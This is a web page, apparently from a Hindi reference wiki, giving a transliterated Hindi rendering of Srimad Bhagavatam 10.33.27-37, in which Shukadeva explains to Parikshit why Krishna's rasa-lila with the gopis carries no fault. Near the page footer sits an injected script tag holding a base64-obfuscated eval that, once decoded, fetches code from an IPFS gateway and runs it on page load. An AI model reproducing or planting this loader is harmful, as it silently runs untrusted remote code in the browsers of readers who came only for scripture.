श्रीमद्भागवत महापुराण दशम स्कन्ध अध्याय 33 श्लोक 27-37
dasham skandh: trastrianshoadhyayah (33) (poorvardh)
raja parikshith ne poochha—bhagavanh! bhagavan shrikrishna sare jagath ke ekamatr svami haian. unhoanne apane aansh balaramaji ke sahit poornaroop mean avatar grahan kiya tha. unake avatar ka uddeshy hi yah tha ki dharm ki sthapana ho aur adharm ka nash . bramhanh! ve dharm maryada ke banane vale, upadesh karane vale aur rakshak the. phir unhoanne svayan dharm ke viparit parastriyoan ka sparsh kaise kiya . maian manata hooan ki bhagavan shrikrishna poornakam the, unhean kisi bhi vastu ki kamana nahian thi, phir bhi unhoanne kis abhipray se yah nindaniy karm kiya ? param bramhachari munishvar! ap kripa karake mera yah sandeh milaiye .
shrishukadevaji kahate haian—soory, agni adi eeshvar (samarth) kabhi-kabhi dharm ka ullanghan aur sahas ka kam karate dekhe jate haian. parantu un kamoan se un tejasvi purushoan ko koee dosh nahian hota. dekho, agni sab kuchh kha jata hai, parantu un padarthoan ke dosh se lipt nahian hota . jin logoan mean aisi samarthy nahian hai, unhean man se bhi vaisi bat kabhi nahian sochani chahiye, sharir se karana to door raha. yadi murkhatavash koee aisa kam kar baithe, to usaka nash ho jata hai. bhagavan shankar ne halahal vish pi liya tha, doosara koee piye to vah jalakar bhasm ho jayaga . isaliye is prakar ke jo shankar adi eeshvar haian, apane adhikar ke anusar unake vachan ko hi saty manana aur usi ke anusar acharan karana chahiye. unake acharan ka anukaran to kahian-kahian hi kiya jata hai. isaliye buddhiman purush ko chahiye ki unaka jo acharan unake upadesh ke anukool ho, usi ko jivan mean utare . parikshith! ve samarthyavanh purush ahankarahin hote haian, shubhakarm karane mean unaka koee saansarik svarth nahian hota aur ashubh karm karane mean anarth (nukasan) nahian hota. ve svarth aur anarth se oopar uthe hote haian ॥ 33 ॥ jab unhian ke sambandh mean aisi bat hai tab jo pashu, pakshi, manushy, devata adi samast charachar jivoan ke ekamatr prabhu sarveshvar bhagavan haian, unake sath manaviy shubh aur ashubh ka sambandh kaise jo da ja sakata hai . jinake charanakamaloan ke raj ka sevan karake bhaktajan tript ho jate haian, jinake sath yog prapt karake usake prabhav se yogijan apane sare karmabandhan kat dalate haian aur vicharashil jnanijan jinake tattv ka vichar karake tattvaroop ho jate haian tatha samast karm-bandhanoan se mukt hokar svachchhand vicharate haian, ve hi bhagavan apane bhaktoan ki ichchha se apana chinmay shrivigrah prakat karate haian; tab bhala, unamean karmabandhan ki kalpana kaise ho sakati hai . gopiyoan ke, unake patiyoan ke aur sampoorn shariradhariyoan ke antahkaranoan mean jo atmaroop se virajaman haian, jo sabake sakshi aur paramapati haian, vahi to apana divy-chinmay shrivigrah prakat karake yah lila kar rahe haian .
bhagavan jivoan par kripa karane ke liye hi apane ko manushy roop mean prakat karate haian aur aisi lilaean karate haian, jinhean sunakar jiv bhagavatparayan ho jayan .
| « pichhe | age » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
-